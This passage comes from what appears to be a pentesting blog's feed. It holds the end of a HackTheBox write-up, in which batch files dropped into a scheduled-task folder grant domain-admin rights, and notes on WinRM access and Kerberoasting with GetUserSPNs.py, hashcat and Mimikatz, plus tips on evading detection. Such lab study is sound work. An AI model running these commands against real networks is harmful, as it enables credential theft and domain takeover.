}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0818.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;No problem. Now I just had to wait. While I waited, I thought about the next step. If the domain controller really couldn&amp;rsquo;t reach my attack machine, could I use DC01 as a pivot? What I wasn&amp;rsquo;t sure about was DC01&amp;rsquo;s IP—it looked like it was inside a container. I didn&amp;rsquo;t know whether the domain controller could reach DC01. Even if I disabled the firewall, I had no way to verify it. And with the task only running every five minutes, testing was a hassle. I&amp;rsquo;d verify it at the end.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0819.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I waited for ages without any response. Back to the write-up.&lt;/p&gt;&#10;&lt;p&gt;I checked the administrator groups. This still followed the hint in the Word document from the beginning: although Lois wasn&amp;rsquo;t a domain administrator, she could add other users to the site administrators.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -ScriptBlock &lt;span class="o"&gt;{&lt;/span&gt; net group /domain &lt;span class="o"&gt;}&lt;/span&gt; -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential &lt;span class="nv"&gt;$cred&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0820.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This was the group. Next, I checked its details.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -ScriptBlock &lt;span class="o"&gt;{&lt;/span&gt; net group Site_Admin /domain &lt;span class="o"&gt;}&lt;/span&gt; -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential &lt;span class="nv"&gt;$cred&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0821.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The description said people were only added in emergencies and that the group could access the domain controller administrators group. According to the write-up, Site_Admin had been added directly as a member of the domain controller administrators group. In other words, users added to this group would have the same privileges as domain administrators. Lois could add users to it, so I only needed to construct a command that added the current user, awallace.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -ScriptBlock &lt;span class="o"&gt;{&lt;/span&gt; Set-Content -Path &lt;span class="s1"&gt;&amp;#39;\program files\keepmeon\3.bat&amp;#39;&lt;/span&gt; -Value &lt;span class="s1"&gt;&amp;#39;net group site_admin awallace /add /domain&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt; -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential &lt;span class="nv"&gt;$cred&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -ScriptBlock &lt;span class="o"&gt;{&lt;/span&gt; cat &lt;span class="s1"&gt;&amp;#39;\program files\keepmeon\3.bat&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;}&lt;/span&gt; -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential &lt;span class="nv"&gt;$cred&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Then I just had to keep watching.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -ScriptBlock &lt;span class="o"&gt;{&lt;/span&gt; net group Site_Admin /domain &lt;span class="o"&gt;}&lt;/span&gt; -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential &lt;span class="nv"&gt;$cred&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I started waiting again. I was beginning to doubt whether it really ran every five minutes, because my 1.bat hadn&amp;rsquo;t created netcat.exe. The most likely explanation was that the network connection failed, so the file was never downloaded. To test that theory—and because I wanted to know whether the task was running at all—I wrote another file.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -ScriptBlock &lt;span class="o"&gt;{&lt;/span&gt; Set-Content -Path &lt;span class="s1"&gt;&amp;#39;C:\program files\keepmeon\4.bat&amp;#39;&lt;/span&gt; -Value &lt;span class="s1"&gt;&amp;#39;echo &amp;#34;1&amp;#34; &amp;gt; 1.txt&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;}&lt;/span&gt; -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential &lt;span class="nv"&gt;$cred&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I&amp;rsquo;d previously gotten an error when using &amp;gt; to write to a file, but it was still worth testing.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0822.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I waited a long time and still saw nothing. I shut the box down, started it again, and repeated the previous steps.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0823.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;netcat was created, which meant the script had run successfully.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0824.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was still no result, but in fact&amp;hellip;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0825.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I could already access the flag.&lt;/p&gt;&#10;&lt;p&gt;Done.&lt;/p&gt;&#10;&lt;p&gt;I left the box running for the moment. After all, I&amp;rsquo;d written a BAT file containing a reverse shell, so I wanted to wait a little longer and shut it down if nothing happened. This box was incredibly difficult. Looking back after finishing it, it almost seemed manageable, but while I was fumbling around without a clear direction, none of these ideas came to mind. Some directories, for example, simply had to be searched over and over. The attack chain and the supporting evidence were both very complete, but the box was still brutally hard. I didn&amp;rsquo;t build a single tunnel during this attempt; all the lateral movement used native commands from inside the network. Even so, it wasn&amp;rsquo;t that cumbersome. Once I had control of DC01, I could keep moving laterally from there. This was an extremely useful box for learning.&lt;/p&gt;&#10;&lt;p&gt;There were three boxes left at this point, but I decided not to continue. For one thing, I&amp;rsquo;d already registered for OSCP and needed to start working through the labs. For another, the more boxes I completed, the harder they became. A single box could take me one or two days. I planned to try the OSCP labs first and see how difficult they were.&lt;/p&gt;&#10;</description></item><item><title>Active Directory Pentesting: Common Techniques</title><link>http://xtpol.com/p/active-directory-common-techniques/</link><pubDate>Mon, 25 Nov 2024 12:00:00 +0800</pubDate><guid>http://xtpol.com/p/active-directory-common-techniques/</guid><description>&lt;h2 id="1-wsmanwinrm"&gt;&lt;a href="#1-wsmanwinrm" class="header-anchor"&gt;&lt;/a&gt;1. WSMan/WinRM&#10;&lt;/h2&gt;&lt;h1 id="winrm-uses-ports-5985-http-and-5986-https-by-default"&gt;&lt;a href="#winrm-uses-ports-5985-http-and-5986-https-by-default" class="header-anchor"&gt;&lt;/a&gt;WinRM Uses Ports 5985 (HTTP) and 5986 (HTTPS) by Default&#10;&lt;/h1&gt;&lt;p&gt;If WinRM is enabled on the domain controller, once we get hold of an account:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Use crackmapexec to check privileges&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;crackmapexec winrm &amp;lt;DC_IP&amp;gt; -u svc-account -p password --shares&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Try WinRM&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;evil-winrm -i &amp;lt;DC_IP&amp;gt; -u svc-account -p password&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Bypass-4MSI switches to cmd&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;</description></item><item><title>Active Directory Pentesting: Targeting Common Services</title><link>http://xtpol.com/p/active-directory-services/</link><pubDate>Sun, 24 Nov 2024 22:55:00 +0800</pubDate><guid>http://xtpol.com/p/active-directory-services/</guid><description>&lt;h3 id="1-spn"&gt;&lt;a href="#1-spn" class="header-anchor"&gt;&lt;/a&gt;1. SPN&#10;&lt;/h3&gt;&lt;h5 id="spn-basics"&gt;&lt;a href="#spn-basics" class="header-anchor"&gt;&lt;/a&gt;SPN Basics:&#10;&lt;/h5&gt;&lt;ul&gt;&#10;&lt;li&gt;SPN stands for Service Principal Name and uniquely identifies a service instance in a domain environment&lt;/li&gt;&#10;&lt;li&gt;Its usual format is: service type/hostname&lt;/li&gt;&#10;&lt;li&gt;For example: HTTP/webserver.domain.com&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h5 id="why-spns-matter"&gt;&lt;a href="#why-spns-matter" class="header-anchor"&gt;&lt;/a&gt;Why SPNs Matter:&#10;&lt;/h5&gt;&lt;ul&gt;&#10;&lt;li&gt;They are a key part of Kerberos authentication&lt;/li&gt;&#10;&lt;li&gt;When a user accesses a service, its SPN is used to obtain a Kerberos ticket for that service&lt;/li&gt;&#10;&lt;li&gt;A service account&amp;rsquo;s SPN information is stored in Active Directory&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h5 id="why-scan-for-spns"&gt;&lt;a href="#why-scan-for-spns" class="header-anchor"&gt;&lt;/a&gt;Why Scan for SPNs:&#10;&lt;/h5&gt;&lt;ul&gt;&#10;&lt;li&gt;Discover services registered in the domain&lt;/li&gt;&#10;&lt;li&gt;Identify potential service accounts&lt;/li&gt;&#10;&lt;li&gt;Prepare for a later Kerberoasting attack&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h5 id="lab-setup"&gt;&lt;a href="#lab-setup" class="header-anchor"&gt;&lt;/a&gt;Lab Setup&#10;&lt;/h5&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;powershell.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Import the AD module first&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Import-Module ActiveDirectory&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Then create the service account&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;New-ADUser -Name &amp;#34;SQLService&amp;#34; -SamAccountName &amp;#34;SQLService&amp;#34; -AccountPassword (ConvertTo-SecureString &amp;#34;Password123!&amp;#34; -AsPlainText -Force) -Enabled $true&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Run on the domain controller&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Register an SPN for SQLService&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;setspn -A MSSQLSvc/dc.test.local:1433 SQLService&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Verify successful registration&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;setspn -L SQLService&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h5 id="exploitation-from-a-non-domain-machine"&gt;&lt;a href="#exploitation-from-a-non-domain-machine" class="header-anchor"&gt;&lt;/a&gt;Exploitation from a Non-Domain Machine:&#10;&lt;/h5&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Use the acquired credentials&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GetUserSPNs.py domain.com/compromised_user:password -dc-ip &amp;lt;DC_IP&amp;gt; -request&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# If you obtained a hash, you can also authenticate with it&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GetUserSPNs.py -hashes LM:NT domain.com/user -dc-ip &amp;lt;DC_IP&amp;gt; -request&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0001.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This is what gets returned when authentication succeeds.&lt;/p&gt;&#10;&lt;p&gt;An error returns this instead.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0002.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h5 id="step-by-step-exploitation"&gt;&lt;a href="#step-by-step-exploitation" class="header-anchor"&gt;&lt;/a&gt;Step-by-Step Exploitation:&#10;&lt;/h5&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Step 1: Enumerate SPNs&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GetUserSPNs.py domain.com/user:password -dc-ip &amp;lt;DC_IP&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Step 2: Request tickets (the -request option)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GetUserSPNs.py domain.com/user:password -dc-ip &amp;lt;DC_IP&amp;gt; -request&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Step 3: Save tickets to a file&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GetUserSPNs.py domain.com/user:password -dc-ip &amp;lt;DC_IP&amp;gt; -request -output tickets.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Step 4: Crack the tickets with hashcat&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;hashcat -m 13100 tickets.txt wordlist.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0003.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h5 id="strategies-for-different-situations"&gt;&lt;a href="#strategies-for-different-situations" class="header-anchor"&gt;&lt;/a&gt;Strategies for Different Situations:&#10;&lt;/h5&gt;&lt;ul&gt;&#10;&lt;li&gt;Domain user credentials available: use GetUserSPNs.py directly&lt;/li&gt;&#10;&lt;li&gt;Only an NTLM hash available: use the -hashes argument&lt;/li&gt;&#10;&lt;li&gt;A ticket is available: use the -k argument for ticket-based authentication&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h5 id="things-to-keep-in-mind"&gt;&lt;a href="#things-to-keep-in-mind" class="header-anchor"&gt;&lt;/a&gt;Things to Keep in Mind:&#10;&lt;/h5&gt;&lt;ul&gt;&#10;&lt;li&gt;Scanning activity may be detected&lt;/li&gt;&#10;&lt;li&gt;A large number of ticket requests may trigger alerts&lt;/li&gt;&#10;&lt;li&gt;Keep scans targeted and avoid broad probing&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h5 id="real-world-example"&gt;&lt;a href="#real-world-example" class="header-anchor"&gt;&lt;/a&gt;Real-World Example:&#10;&lt;/h5&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# For example, find the SQL service SPN&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GetUserSPNs.py domain.com/user:pass -dc-ip 192.168.1.100&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# The output may show:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# MSSQLSvc/DBSERVER.domain.com:1433&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Obtain a ticket for this service&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GetUserSPNs.py domain.com/user:pass -dc-ip 192.168.1.100 -request -target-service MSSQLSvc/DBSERVER.domai&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/usr/share/doc/python3-impacket/examples/GetUserSPNs.py intelligence.htb/Ted.Graves:Mr.Teddy -dc-ip 10.10.10.248 -request -request-user SVC_INT$&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="2-cracking-domain-service-accounts"&gt;&lt;a href="#2-cracking-domain-service-accounts" class="header-anchor"&gt;&lt;/a&gt;2. Cracking Domain Service Accounts&#10;&lt;/h3&gt;&lt;p&gt;&lt;a class="link" href="https://github.com/nidem/kerberoast" target="_blank" rel="noopener"&#10; &gt;https://github.com/nidem/kerberoast&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This is much like the method above; the difference is the situation where you use it.&#10;The first method requires a domain member&amp;rsquo;s username and password.&#10;The second requires access to a domain-joined host, after which it can be run on that machine.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;setspn -T PENTEST.com -Q */*&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;For convenience, I ran it directly on the domain controller. If a domain member account also has access to this sqlserver, it will show up as well.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0004.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Extract the obtained tickets from Mimikatz memory&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;kerberos::list /export&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0005.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0006.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span 